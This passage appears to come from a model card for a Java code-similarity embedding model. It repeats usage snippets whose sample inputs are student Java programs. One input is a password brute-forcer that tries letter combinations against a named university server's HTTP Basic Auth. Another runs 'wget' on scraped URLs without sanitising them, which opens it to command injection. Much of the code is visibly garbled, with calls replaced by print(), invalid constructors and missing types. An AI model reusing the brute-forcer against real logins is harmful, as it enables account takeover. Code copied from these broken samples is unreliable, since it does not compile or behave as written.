(HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    